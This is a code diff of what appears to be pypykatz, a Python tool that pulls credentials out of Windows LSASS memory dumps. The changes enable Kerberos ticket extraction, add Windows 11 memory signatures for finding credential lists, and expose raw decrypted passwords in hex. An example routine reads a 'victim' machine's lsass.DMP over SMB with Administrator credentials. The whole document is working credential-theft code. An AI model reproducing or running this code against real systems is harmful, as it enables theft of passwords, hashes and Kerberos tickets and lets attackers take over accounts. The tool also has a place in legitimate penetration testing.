1666 | res.KDCServer = await LSA_UNICODE_STRING.load(reader) # //?(reader).value | |
1667 | res.unk10586_d = await LSA_UNICODE_STRING.load(reader) #//?(reader).value | |
1668 | res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) | |
1669 | res.name0 = await PVOID.loadvalue(reader) | |
1670 | x = await reader.read(4) | |
1671 | res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) | |
1672 | res.unk2 = await ULONG.loadvalue(reader) | |
1673 | res.unk14393_0 = await PVOID.loadvalue(reader) | |
1674 | res.KeyType = await ULONG.loadvalue(reader) | |
1675 | await reader.align() | |
1676 | res.Key = await KIWI_KERBEROS_BUFFER.load(reader) | |
1677 | res.unk14393_1 = await PVOID.loadvalue(reader) | |
1678 | res.unk3 = await PVOID.loadvalue(reader) # // ULONG KeyType2 = (reader).value | |
1679 | res.unk4 = await PVOID.loadvalue(reader) # // KIWI_KERBEROS_BUFFER Key2 = (reader).value | |
1680 | res.unk5 = await PVOID.loadvalue(reader) # // up(reader).value | |
1681 | res.StartTime = await FILETIME.loadvalue(reader) | |
1682 | res.EndTime = await FILETIME.loadvalue(reader) | |
1683 | res.RenewUntil = await FILETIME.loadvalue(reader) | |
1684 | res.unk6 = await ULONG.loadvalue(reader) | |
1685 | res.unk7 = await ULONG.loadvalue(reader) | |
1686 | res.domain = await PCWSTR.loadvalue(reader) | |
1687 | res.unk8 = await ULONG.loadvalue(reader) | |
1688 | await reader.align() | |
1689 | res.strangeNames = await PVOID.loadvalue(reader) | |
1690 | res.unk9 = await ULONG.loadvalue(reader) | |
1691 | res.TicketEncType = await ULONG.loadvalue(reader) | |
1692 | res.TicketKvno = await ULONG.loadvalue(reader) | |
1693 | await reader.align() | |
1694 | res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) | |
1695 | ||
1696 | return res | |
956 | 1697 | |
957 | 1698 | class PKERB_HASHPASSWORD_GENERIC(POINTER): |
958 | def __init__(self, reader): | |
959 | super().__init__(reader, KERB_HASHPASSWORD_GENERIC) | |
1699 | def __init__(self): | |
1700 | super().__init__() | |
1701 | ||
1702 | @staticmethod | |
1703 | async def load(reader): | |
1704 | p = PKERB_HASHPASSWORD_GENERIC() | |
1705 | p.location = reader.tell() | |
1706 | p.value = await reader.read_uint() | |
1707 | p.finaltype = KERB_HASHPASSWORD_GENERIC | |
1708 | return p | |
960 | 1709 | |
961 | 1710 | class KERB_HASHPASSWORD_GENERIC: |
962 | def __init__(self, reader): | |
963 | #print('KERB_HASHPASSWORD_GENERIC') | |
964 | #print(hexdump(reader.peek(0x50), start = reader.tell())) | |
965 | self.Type = DWORD(reader).value | |
966 | reader.align() | |
967 | self.Size = SIZE_T(reader).value | |
968 | self.Checksump = PVOID(reader) #this holds the actual credentials dunno why it's named this way... | |
1711 | def __init__(self): | |
1712 | self.Type = None | |
1713 | self.Size = None | |
1714 | self.Checksump = None | |
1715 | ||
1716 | @staticmethod | |
1717 | async def load(reader): | |
1718 | res = KERB_HASHPASSWORD_GENERIC() | |
1719 | res.Type = await DWORD.loadvalue(reader) | |
1720 | await reader.align() | |
1721 | res.Size = await SIZE_T.loadvalue(reader) | |
1722 | res.Checksump = await PVOID.loadvalue(reader) | |
1723 | return res | |
1724 | ||
969 | 1725 | |
970 | 1726 | class PKERB_HASHPASSWORD_5(POINTER): |
971 | def __init__(self, reader): | |
972 | super().__init__(reader, KERB_HASHPASSWORD_5) | |
1727 | def __init__(self): | |
1728 | super().__init__() | |
1729 | ||
1730 | @staticmethod | |
1731 | async def load(reader): | |
1732 | p = PKERB_HASHPASSWORD_5() | |
1733 | p.location = reader.tell() | |
1734 | p.value = await reader.read_uint() | |
1735 | p.finaltype = KERB_HASHPASSWORD_5 | |
1736 | return p | |
973 | 1737 | |
974 | 1738 | class KERB_HASHPASSWORD_5: |
975 | def __init__(self, reader): | |
976 | self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962 | |
977 | self.generic = KERB_HASHPASSWORD_GENERIC(reader) | |
1739 | def __init__(self): | |
1740 | self.salt = None | |
1741 | self.generic = None | |
1742 | ||
1743 | @staticmethod | |
1744 | async def load(reader): | |
1745 | res = KERB_HASHPASSWORD_5() | |
1746 | res.salt = await LSA_UNICODE_STRING.load(reader) # // http://tools.ietf.org/html/rfc3962 | |
1747 | res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader) | |
1748 | return res | |
978 | 1749 | |
979 | 1750 | class PKERB_HASHPASSWORD_6(POINTER): |
980 | def __init__(self, reader): | |
981 | super().__init__(reader, KERB_HASHPASSWORD_6) | |
1751 | def __init__(self): | |
1752 | super().__init__() | |
1753 | ||
1754 | @staticmethod | |
1755 | async def load(reader): | |
1756 | p = PKERB_HASHPASSWORD_6() | |
1757 | p.location = reader.tell() | |
1758 | p.value = await reader.read_uint() | |
1759 | p.finaltype = KERB_HASHPASSWORD_6 | |
1760 | return p | |
982 | 1761 | |
983 | 1762 | class KERB_HASHPASSWORD_6 : |
984 | def __init__(self, reader): | |
985 | #print('KERB_HASHPASSWORD_6') | |
986 | #input(hexdump(reader.peek(0x100), start = reader.tell())) | |
987 | self.salt = LSA_UNICODE_STRING(reader) #// http://tools.ietf.org/html/rfc3962 | |
988 | self.stringToKey = PVOID(reader) # // AES Iterations (dword ?) | |
989 | self.generic = KERB_HASHPASSWORD_GENERIC(reader) | |
990 | ||
1763 | def __init__(self): | |
1764 | self.salt = None | |
1765 | self.stringToKey = None | |
1766 | self.generic = None | |
1767 | ||
1768 | @staticmethod | |
1769 | async def load(reader): | |
1770 | res = KERB_HASHPASSWORD_6() | |
1771 | res.salt = await LSA_UNICODE_STRING.load(reader) #// http://tools.ietf.org/html/rfc3962 | |
1772 | res.stringToKey = await PVOID.load(reader) # // AES Iterations (dword ?) | |
1773 | res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader) | |
1774 | return res | |
991 | 1775 | |
992 | 1776 | class PKERB_HASHPASSWORD_6_1607(POINTER): |
993 | def __init__(self, reader): | |
994 | super().__init__(reader, KERB_HASHPASSWORD_6_1607) | |
1777 | def __init__(self): | |
1778 | super().__init__() | |
1779 | ||
1780 | @staticmethod | |
1781 | async def load(reader): | |
1782 | p = PKERB_HASHPASSWORD_6_1607() | |
1783 | p.location = reader.tell() | |
1784 | p.value = await reader.read_uint() | |
1785 | p.finaltype = KERB_HASHPASSWORD_6_1607 | |
1786 | return p | |
1787 | ||
1788 | ||
995 | 1789 | class KERB_HASHPASSWORD_6_1607: |
996 | def __init__(self, reader): | |
997 | self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962(reader).value | |
998 | self.stringToKey = PVOID(reader).value # // AES Iterations (dword ?)(reader).value | |
999 | self.unk0 = PVOID(reader).value | |
1000 | self.generic = KERB_HASHPASSWORD_GENERIC(reader) | |
1790 | def __init__(self): | |
1791 | self.salt = None | |
1792 | self.stringToKey = None | |
1793 | self.unk0 = None | |
1794 | self.generic = None | |
1795 | ||
1796 | @staticmethod | |
1797 | async def load(reader): | |
1798 | res = KERB_HASHPASSWORD_6_1607() | |
1799 | res.salt = await LSA_UNICODE_STRING.load(reader) # // http://tools.ietf.org/html/rfc3962(reader).value | |
1800 | res.stringToKey = await PVOID.loadvalue(reader) # // AES Iterations (dword ?)(reader).value | |
1801 | res.unk0 = await PVOID.loadvalue(reader) | |
1802 | res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader) | |
1803 | return res | |
1001 | 1804 | |
1002 | 1805 | class PKIWI_KERBEROS_KEYS_LIST_5(POINTER): |
1003 | def __init__(self, reader): | |
1004 | super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_5) | |
1806 | def __init__(self): | |
1807 | super().__init__() | |
1808 | ||
1809 | @staticmethod | |
1810 | async def load(reader): | |
1811 | p = PKIWI_KERBEROS_KEYS_LIST_5() | |
1812 | p.location = reader.tell() | |
1813 | p.value = await reader.read_uint() | |
1814 | p.finaltype = KIWI_KERBEROS_KEYS_LIST_5 | |
1815 | return p | |
1005 | 1816 | |
1006 | 1817 | class KIWI_KERBEROS_KEYS_LIST_5: |
1007 | def __init__(self, reader): | |
1008 | self.unk0 = DWORD(reader).value #// dword_1233EC8 dd 4 | |
1009 | self.cbItem = DWORD(reader).value #// debug048:01233ECC dd 5(reader).value | |
1010 | self.unk1 = PVOID(reader).value | |
1011 | self.unk2 = PVOID(reader).value | |
1818 | def __init__(self): | |
1819 | self.unk0 = None | |
1820 | self.cbItem = None | |
1821 | self.unk1 = None | |
1822 | self.unk2 = None | |
1012 | 1823 | #//KERB_HASHPASSWORD_5 KeysEntries[ANYSIZE_ARRAY] = (reader).value |
1013 | self.KeyEntries_start = reader.tell() | |
1824 | self.KeyEntries_start = None | |
1014 | 1825 | self.KeyEntries = [] |
1015 | 1826 | |
1016 | def read(self, reader, keyentries_type): | |
1017 | reader.move(self.KeyEntries_start) | |
1827 | async def read(self, reader, keyentries_type): | |
1828 | await reader.move(self.KeyEntries_start) | |
1018 | 1829 | for _ in range(self.cbItem): |
1019 | self.KeyEntries.append(keyentries_type(reader)) | |
1830 | ke = await keyentries_type.load(reader) | |
1831 | self.KeyEntries.append(ke) | |
1832 | ||
1833 | @staticmethod | |
1834 | async def load(reader): | |
1835 | res = KIWI_KERBEROS_KEYS_LIST_5() | |
1836 | res.unk0 = await DWORD.loadvalue(reader) #// dword_1233EC8 dd 4 | |
1837 | res.cbItem = await DWORD.loadvalue(reader) #// debug048:01233ECC dd 5(reader).value | |
1838 | res.unk1 = await PVOID.loadvalue(reader) | |
1839 | res.unk2 = await PVOID.loadvalue(reader) | |
1840 | res.KeyEntries_start = reader.tell() | |
1841 | return res | |
1842 | ||
1020 | 1843 | |
1021 | 1844 | class PKIWI_KERBEROS_KEYS_LIST_6(POINTER): |
1022 | def __init__(self, reader): | |
1023 | super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_6) | |
1845 | def __init__(self): | |
1846 | super().__init__() | |
1847 | ||
1848 | @staticmethod | |
1849 | async def load(reader): | |
1850 | p = PKIWI_KERBEROS_KEYS_LIST_6() | |
1851 | p.location = reader.tell() | |
1852 | p.value = await reader.read_uint() | |
1853 | p.finaltype = KIWI_KERBEROS_KEYS_LIST_6 | |
1854 | return p | |
1855 | ||
1024 | 1856 | class KIWI_KERBEROS_KEYS_LIST_6: |
1025 | def __init__(self, reader): | |
1026 | #print('KIWI_KERBEROS_KEYS_LIST_6') | |
1027 | #print(hexdump(reader.peek(0x100), start = reader.tell())) | |
1028 | self.unk0 = DWORD(reader).value # // dword_1233EC8 dd 4(reader).value | |
1029 | self.cbItem = DWORD(reader).value # // debug048:01233ECC dd 5(reader).value | |
1030 | self.unk1 = PVOID(reader).value | |
1031 | self.unk2 = PVOID(reader).value | |
1032 | self.unk3 = PVOID(reader).value | |
1033 | self.unk4 = PVOID(reader).value | |
1034 | self.KeyEntries_start = reader.tell() | |
1857 | def __init__(self): | |
1858 | self.unk0 = None # // dword_1233EC8 dd 4(reader).value | |
1859 | self.cbItem = None # // debug048:01233ECC dd 5(reader).value | |
1860 | self.unk1 = None | |
1861 | self.unk2 = None | |
1862 | self.unk3 = None | |
1863 | self.unk4 = None | |
1864 | self.KeyEntries_start = None | |
1035 | 1865 | self.KeyEntries = [] |
1036 | 1866 | |
1037 | def read(self, reader, keyentries_type): | |
1038 | reader.move(self.KeyEntries_start) | |
1867 | async def read(self, reader, keyentries_type): | |
1868 | await reader.move(self.KeyEntries_start) | |
1039 | 1869 | for _ in range(self.cbItem): |
1040 | self.KeyEntries.append(keyentries_type(reader)) | |
1870 | ke = await keyentries_type.load(reader) | |
1871 | self.KeyEntries.append(ke) | |
1041 | 1872 | #//KERB_HASHPASSWORD_6 KeysEntries[ANYSIZE_ARRAY] = (reader).value |
1873 | ||
1874 | @staticmethod | |
1875 | async def load(reader): | |
1876 | res = KIWI_KERBEROS_KEYS_LIST_6() | |
1877 | res.unk0 = await DWORD.loadvalue(reader) # // dword_1233EC8 dd 4(reader).value | |
1878 | res.cbItem = await DWORD.loadvalue(reader) # // debug048:01233ECC dd 5(reader).value | |
1879 | res.unk1 = await PVOID.loadvalue(reader) | |
1880 | res.unk2 = await PVOID.loadvalue(reader) | |
1881 | res.unk3 = await PVOID.loadvalue(reader) | |
1882 | res.unk4 = await PVOID.loadvalue(reader) | |
1883 | res.KeyEntries_start = reader.tell() | |
1884 | return res | |
1042 | 1885 | |
1043 | 1886 | class PKIWI_KERBEROS_ENUM_DATA_TICKET(POINTER): |
1044 | def __init__(self, reader): | |
1045 | super().__init__(reader, KIWI_KERBEROS_ENUM_DATA_TICKET) | |
1887 | def __init__(self): | |
1888 | super().__init__() | |
1889 | ||
1890 | @staticmethod | |
1891 | async def load(reader): | |
1892 | p = PKIWI_KERBEROS_ENUM_DATA_TICKET() | |
1893 | p.location = reader.tell() | |
1894 | p.value = await reader.read_uint() | |
1895 | p.finaltype = KIWI_KERBEROS_ENUM_DATA_TICKET | |
1896 | return p | |
1897 | ||
1046 | 1898 | class KIWI_KERBEROS_ENUM_DATA_TICKET: |
1047 | def __init__(self, reader): | |
1048 | self.isTicketExport = BOOL(reader).value | |
1049 | self.isFullTicket = BOOL(reader).value | |
1899 | def __init__(self): | |
1900 | self.isTicketExport = None | |
1901 | self.isFullTicket = None | |
1902 | ||
1903 | @staticmethod | |
1904 | async def load(reader): | |
1905 | res = KIWI_KERBEROS_ENUM_DATA_TICKET() | |
1906 | res.isTicketExport = await BOOL.loadvalue(reader) | |
1907 | res.isFullTicket = await BOOL.loadvalue(reader) | |
1908 | return res | |
1050 | 1909 | |
1051 | 1910 | class KIWI_KERBEROS_BUFFER: |
1052 | def __init__(self, reader): | |
1053 | self.Length = ULONG(reader).value | |
1054 | reader.align() | |
1055 | self.Value = PVOID(reader) | |
1911 | def __init__(self): | |
1912 | self.Length = None | |
1913 | self.Value = None | |
1056 | 1914 | |
1057 | 1915 | ##not part of struct |
1058 | 1916 | self.Data = None |
1059 | 1917 | |
1060 | def read(self, reader): | |
1061 | self.Data = self.Value.read_raw(reader, self.Length) | |
1062 | return self.Data⏎ | |
1918 | async def read(self, reader): | |
1919 | await reader.move(self.Value.value) | |
1920 | self.Data = await reader.read(self.Length) | |
1921 | return self.Data | |
1922 | ||
1923 | @staticmethod | |
1924 | async def load(reader): | |
1925 | res = KIWI_KERBEROS_BUFFER() | |
1926 | res.Length = await ULONG.loadvalue(reader) | |
1927 | await reader.align() | |
1928 | res.Value = await PVOID.load(reader) | |
1929 | return res⏎ |
12 | 12 | self.username = None |
13 | 13 | self.domainname = None |
14 | 14 | self.password = None |
15 | self.password_raw = b'' | |
15 | 16 | self.luid = None |
16 | 17 | |
17 | 18 | def to_dict(self): |
20 | 21 | t['username'] = self.username |
21 | 22 | t['domainname'] = self.domainname |
22 | 23 | t['password'] = self.password |
24 | t['password_raw'] = self.password_raw | |
23 | 25 | t['luid'] = self.luid |
24 | 26 | return t |
25 | 27 | def to_json(self): |
30 | 32 | t += '\tusername %s\n' % self.username |
31 | 33 | t += '\tdomainname %s\n' % self.domainname |
32 | 34 | t += '\tpassword %s\n' % self.password |
35 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
33 | 36 | return t |
34 | 37 | |
35 | 38 | class LiveSspDecryptor(PackageDecryptor): |
55 | 58 | if suppCreds.credentials.Password.Length != 0: |
56 | 59 | enc_data = await suppCreds.credentials.Password.read_maxdata(self.reader) |
57 | 60 | if c.username.endswith('$') is True: |
58 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
61 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
59 | 62 | if c.password is not None: |
60 | 63 | c.password = c.password.hex() |
61 | 64 | else: |
62 | c.password = self.decrypt_password(enc_data) | |
65 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
63 | 66 | |
64 | 67 | self.credentials.append(c) |
65 | 68 |
13 | 13 | |
14 | 14 | class MsvCredential: |
15 | 15 | def __init__(self): |
16 | self.credtype = 'msv' | |
16 | 17 | self.username = None |
17 | 18 | self.domainname = None |
18 | 19 | self.NThash = None |
30 | 31 | t['LMHash'] = self.LMHash |
31 | 32 | t['SHAHash'] = self.SHAHash |
32 | 33 | t['DPAPI'] = self.DPAPI |
34 | t['isoProt'] = self.isoProt | |
33 | 35 | return t |
34 | 36 | |
35 | 37 | def to_json(self): |
51 | 53 | self.luid = None |
52 | 54 | self.username = None |
53 | 55 | self.password = None |
56 | self.password_raw = b'' | |
54 | 57 | self.domainname = None |
55 | 58 | |
56 | 59 | def to_dict(self): |
59 | 62 | t['username'] = self.username |
60 | 63 | t['domainname'] = self.domainname |
61 | 64 | t['password'] = self.password |
65 | t['password_raw'] = self.password_raw | |
62 | 66 | t['luid'] = self.luid |
63 | 67 | return t |
64 | 68 | |
71 | 75 | t += '\t\tusername %s\n' % self.username |
72 | 76 | t += '\t\tdomain %s\n' % self.domainname |
73 | 77 | t += '\t\tpassword %s\n' % self.password |
78 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
74 | 79 | return t |
75 | 80 | |
76 | 81 | |
332 | 337 | if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0: |
333 | 338 | enc_data = await credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword) |
334 | 339 | if c.username.endswith('$') is True: |
335 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
340 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
336 | 341 | if c.password is not None: |
337 | 342 | c.password = c.password.hex() |
338 | 343 | else: |
339 | c.password = self.decrypt_password(enc_data) | |
344 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
340 | 345 | |
341 | 346 | c.luid = self.current_logonsession.luid |
342 | 347 | |
352 | 357 | |
353 | 358 | self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data)) |
354 | 359 | self.log('Decrypting credential structure') |
355 | dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True) | |
360 | dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True) | |
356 | 361 | self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data))) |
357 | 362 | |
358 | 363 | struct_reader = AGenericReader(dec_data, self.sysinfo.architecture) |
115 | 115 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74' |
116 | 116 | template.first_entry_offset = 23 |
117 | 117 | template.offset2 = -4 |
118 | ||
119 | elif WindowsBuild.WIN_10_1903.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value: | |
120 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' | |
121 | template.first_entry_offset = 23 | |
122 | template.offset2 = -4 | |
118 | 123 | |
119 | 124 | else: |
120 | #1903 | |
121 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' | |
122 | template.first_entry_offset = 23 | |
125 | #win11 | |
126 | template.signature = b'\x45\x89\x34\x24\x4c\x8b\xff\x8b\xf3\x45\x85\xc0\x74' | |
127 | template.first_entry_offset = 24 | |
123 | 128 | template.offset2 = -4 |
124 | 129 | |
125 | 130 | elif sysinfo.architecture == KatzSystemArchitecture.X86: |
13 | 13 | self.username = None |
14 | 14 | self.domainname = None |
15 | 15 | self.password = None |
16 | self.password_raw = b'' | |
16 | 17 | self.luid = None |
17 | 18 | |
18 | 19 | def to_dict(self): |
21 | 22 | t['username'] = self.username |
22 | 23 | t['domainname'] = self.domainname |
23 | 24 | t['password'] = self.password |
25 | t['password_raw'] = self.password_raw | |
24 | 26 | t['luid'] = self.luid |
25 | 27 | return t |
26 | 28 | |
32 | 34 | t += '\t\tusername %s\n' % self.username |
33 | 35 | t += '\t\tdomainname %s\n' % self.domainname |
34 | 36 | t += '\t\tpassword %s\n' % self.password |
37 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
35 | 38 | return t |
36 | 39 | |
37 | 40 | class SspDecryptor(PackageDecryptor): |
53 | 56 | c.domainname = await ssp_entry.credentials.UserName.read_string(self.reader) |
54 | 57 | if ssp_entry.credentials.Password.Length != 0: |
55 | 58 | if c.username.endswith('$') is True or c.domainname.endswith('$') is True: |
56 | enc_data = await ssp_entry.credentials.Password.read_data(self.reader) | |
57 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
59 | enc_data = await ssp_entry.credentials.Password.read_maxdata(self.reader) | |
60 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
58 | 61 | if c.password is not None: |
59 | 62 | c.password = c.password.hex() |
60 | 63 | else: |
61 | enc_data = await ssp_entry.credentials.Password.read_data(self.reader) | |
62 | c.password = self.decrypt_password(enc_data) | |
64 | enc_data = await ssp_entry.credentials.Password.read_maxdata(self.reader) | |
65 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
63 | 66 | |
64 | 67 | if c.username == '' and c.domainname == '' and c.password is None: |
65 | 68 | return |
15 | 15 | self.username = None |
16 | 16 | self.domainname = None |
17 | 17 | self.password = None |
18 | self.password_raw = b'' | |
18 | 19 | self.luid = None |
19 | 20 | |
20 | 21 | def to_dict(self): |
23 | 24 | t['username'] = self.username |
24 | 25 | t['domainname'] = self.domainname |
25 | 26 | t['password'] = self.password |
27 | t['password_raw'] = self.password_raw | |
26 | 28 | t['luid'] = self.luid |
27 | 29 | return t |
30 | ||
28 | 31 | def to_json(self): |
29 | 32 | return json.dumps(self.to_dict()) |
30 | 33 | |
33 | 36 | t += '\t\tusername %s\n' % self.username |
34 | 37 | t += '\t\tdomainname %s\n' % self.domainname |
35 | 38 | t += '\t\tpassword %s\n' % self.password |
39 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
36 | 40 | return t |
37 | 41 | |
38 | 42 | class TspkgDecryptor(PackageDecryptor): |
82 | 86 | if primary_credential.credentials.Password.Length != 0: |
83 | 87 | enc_data = await primary_credential.credentials.Password.read_maxdata(self.reader) |
84 | 88 | if c.username.endswith('$') is True: |
85 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
89 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
86 | 90 | if c.password is not None: |
87 | 91 | c.password = c.password.hex() |
88 | 92 | else: |
89 | c.password = self.decrypt_password(enc_data) | |
93 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
90 | 94 | |
91 | 95 | self.credentials.append(c)⏎ |
14 | 14 | self.username = None |
15 | 15 | self.domainname = None |
16 | 16 | self.password = None |
17 | self.password_raw = b'' | |
17 | 18 | self.luid = None |
18 | 19 | |
19 | 20 | def to_dict(self): |
22 | 23 | t['username'] = self.username |
23 | 24 | t['domainname'] = self.domainname |
24 | 25 | t['password'] = self.password |
26 | t['password_raw'] = self.password_raw | |
25 | 27 | t['luid'] = self.luid |
26 | 28 | return t |
27 | 29 | def to_json(self): |
32 | 34 | t += '\t\tusername %s\n' % self.username |
33 | 35 | t += '\t\tdomainname %s\n' % self.domainname |
34 | 36 | t += '\t\tpassword %s\n' % self.password |
37 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
35 | 38 | return t |
36 | 39 | |
37 | 40 | class WdigestDecryptor(PackageDecryptor): |
64 | 67 | wc.domainname = await DomainName.read_string(self.reader) |
65 | 68 | wc.encrypted_password = await Password.read_maxdata(self.reader) |
66 | 69 | if wc.username.endswith('$') is True: |
67 | wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True) | |
70 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True) | |
68 | 71 | if wc.password is not None: |
69 | 72 | wc.password = wc.password.hex() |
70 | 73 | else: |
71 | wc.password = self.decrypt_password(wc.encrypted_password) | |
74 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password) | |
72 | 75 | |
73 | 76 | if wc.username == '' and wc.domainname == '' and wc.password is None: |
74 | 77 | return |
5 | 5 | |
6 | 6 | #import io |
7 | 7 | #from minidump.win_datatypes import * |
8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild | |
8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild | |
9 | 9 | from pypykatz.alsadecryptor.win_datatypes import LUID, ULONG, POINTER |
10 | 10 | from pypykatz.alsadecryptor.package_commons import PackageTemplate |
11 | 11 | |
69 | 69 | template.primary_offset = 32 |
70 | 70 | template.list_entry = PWdigestListEntry |
71 | 71 | |
72 | elif sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value: | |
72 | elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value: | |
73 | 73 | template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10' |
74 | 74 | template.first_entry_offset = -6 |
75 | 75 | template.primary_offset = 32 |
15 | 15 | LiveSspTemplate, LiveSspDecryptor, SspDecryptor, SspTemplate, \ |
16 | 16 | TspkgDecryptor, TspkgTemplate, \ |
17 | 17 | DpapiTemplate, DpapiDecryptor, LsaDecryptor,CloudapTemplate,\ |
18 | CloudapDecryptor | |
19 | #KerberosTemplate, KerberosDecryptor, | |
18 | CloudapDecryptor, KerberosTemplate, KerberosDecryptor | |
20 | 19 | from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession |
21 | 20 | from pypykatz import logger |
22 | 21 | from pypykatz.commons.common import UniversalEncoder |
75 | 74 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] |
76 | 75 | res += ':'.join(x) + '\r\n' |
77 | 76 | |
78 | for pkg, err in self.errors: | |
79 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
80 | err_str = base64.b64encode(err_str.encode()).decode() | |
81 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str] | |
82 | res += ':'.join(x) + '\r\n' | |
77 | for pkg, err in self.errors: | |
78 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) | |
79 | err_str = base64.b64encode(err_str.encode()).decode() | |
80 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str] | |
81 | res += ':'.join(x) + '\r\n' | |
83 | 82 | |
84 | 83 | return res |
85 | 84 | |
238 | 237 | else: |
239 | 238 | self.orphaned_creds.append(cred) |
240 | 239 | |
241 | #async def get_kerberos(self, with_tickets = True): | |
242 | # dec_template = KerberosTemplate.get_template(self.sysinfo) | |
243 | # dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) | |
244 | # await dec.start() | |
245 | # for cred in dec.credentials: | |
246 | # for ticket in cred.tickets: | |
247 | # for fn in ticket.kirbi_data: | |
248 | # self.kerberos_ccache.add_kirbi(ticket.kirbi_data[fn].native) | |
249 | # | |
250 | # if cred.luid in self.logon_sessions: | |
251 | # self.logon_sessions[cred.luid].kerberos_creds.append(cred) | |
252 | # else: | |
253 | # self.orphaned_creds.append(cred) | |
240 | async def get_kerberos(self, with_tickets = True): | |
241 | dec_template = KerberosTemplate.get_template(self.sysinfo) | |
242 | dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) | |
243 | await dec.start() | |
244 | for cred in dec.credentials: | |
245 | for ticket in cred.tickets: | |
246 | for fn in ticket.kirbi_data: | |
247 | self.kerberos_ccache.add_kirbi(ticket.kirbi_data[fn].native) | |
248 | ||
249 | if cred.luid in self.logon_sessions: | |
250 | self.logon_sessions[cred.luid].kerberos_creds.append(cred) | |
251 | else: | |
252 | self.orphaned_creds.append(cred) | |
254 | 253 | |
255 | 254 | async def get_cloudap(self): |
256 | 255 | cloudap_dec_template = CloudapTemplate.get_template(self.sysinfo) |
280 | 279 | except Exception as e: |
281 | 280 | self.errors.append(('wdigest', e)) |
282 | 281 | |
283 | #if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages: | |
284 | # with_tickets = False | |
285 | # if 'ktickets' in packages or 'all' in packages: | |
286 | # with_tickets = True | |
287 | # await self.get_kerberos(with_tickets) | |
282 | if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages: | |
283 | with_tickets = False | |
284 | if 'ktickets' in packages or 'all' in packages: | |
285 | with_tickets = True | |
286 | await self.get_kerberos(with_tickets) | |
288 | 287 | |
289 | 288 | if 'tspkg' in packages or 'all' in packages: |
290 | 289 | try: |
317 | 316 | self.errors.append(('cloudap', e)) |
318 | 317 | |
319 | 318 | async def amain(): |
320 | from aiosmb.commons.connection.url import SMBConnectionURL | |
319 | from aiosmb.commons.connection.factory import SMBConnectionFactory | |
321 | 320 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader |
322 | 321 | |
323 | 322 | import sys |
325 | 324 | print(f) |
326 | 325 | |
327 | 326 | url = 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP' |
328 | smburl = SMBConnectionURL(url) | |
327 | smburl = SMBConnectionFactory.from_url(url) | |
329 | 328 | connection = smburl.get_connection() |
330 | 329 | smbfile = smburl.get_file() |
331 | 330 |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | 0 | import traceback |
6 | 1 | import enum |
7 | 2 | import json |
8 | 3 | import datetime |
4 | ||
9 | 5 | from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE |
10 | 6 | |
11 | 7 | def geterr(err:Exception): |
359 | 355 | WIN_10_1803 = 17134 |
360 | 356 | WIN_10_1809 = 17763 |
361 | 357 | WIN_10_1903 = 18362 |
358 | WIN_10_1909 = 18363 | |
